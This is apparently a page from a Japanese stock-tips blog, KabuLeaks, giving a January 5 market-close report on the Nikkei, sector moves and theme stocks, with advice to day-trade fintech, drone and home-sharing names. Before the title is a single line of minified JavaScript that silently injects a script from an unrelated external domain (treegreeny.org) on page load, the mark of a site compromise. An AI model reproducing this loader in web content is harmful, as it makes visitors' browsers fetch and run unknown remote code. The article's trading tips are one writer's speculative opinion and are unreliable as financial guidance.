;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/5 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【1/5 大引け】

本日の日経平均株価は76円安と続落。後場の日経平均は前場の切り返しプラス圏浮上の流れを引き継ぎ買い先行でのスタート。ただ、後場寄りが本日の天井。買い一巡後は中国市場の先行き不透明感、中東情勢などへの警戒感から上げ幅を徐々に縮小。中国市場の後場の取引でマイナスに転じると日経平均も再び売り圧力の押された。業種別では、情報・通信業、電気・ガス業、陸運業、ガラス土石製品などが値上がり率上位に。一方、水産・農林業、保険業、輸送用機器、食料品などが値下がり率上位となった。

個別では、後場注目に挙げた出遅れフィンテック関連、前日ストップ高の【8789】ラクーンが一段高、ドローン分野などへの展開に期待が高まるとして注目を浴びた【4316】ビーマップなどが連日のストップ高に。また、人気のテーマの民泊から【8889】アパマンショップ、【1435】インベスターズクラウドが後場一段高。その他、野村證券が目標株価を3000円まで引き上げた【2371】カカクコム、同じく野村證券から投資判断「バイ」に格上げの【9437】NTTドコモなどが買い優勢。三菱UFJモルガン・スタンレー証券が中立スタンスに格上げた【6871】日本マイクロニクス。前日に決算発表、通期業績の上方修正を発表した【7463】アドヴァンなどの上昇も目立っていた。

後場の日経平均はやはり中国市場の動きの影響から再度マイナス転換。中国株の動きは引き続き不透明であり、短期的に日本株の不透明感も強まっている状況。下値は堅いようにも見えるが現状迂闊に押し目買いを入れるのは個人的にはオススメしない。

前場も引け後も書いたが現状では地合いの悪化もあまり気にせず上昇を続けるフィンテック、自動運転、ドローン、民泊、マイナンバーなど人気のテーマ株を中心に短期売買。日替わりで物色される状況が続いてる間はこれら関連銘柄をひたすら狙うが吉。ただ、週末には米雇用統計やオプションSQ控えてることも考慮。一部過熱感たっぷりの銘柄は週末前に利食い売りからの急落に警戒!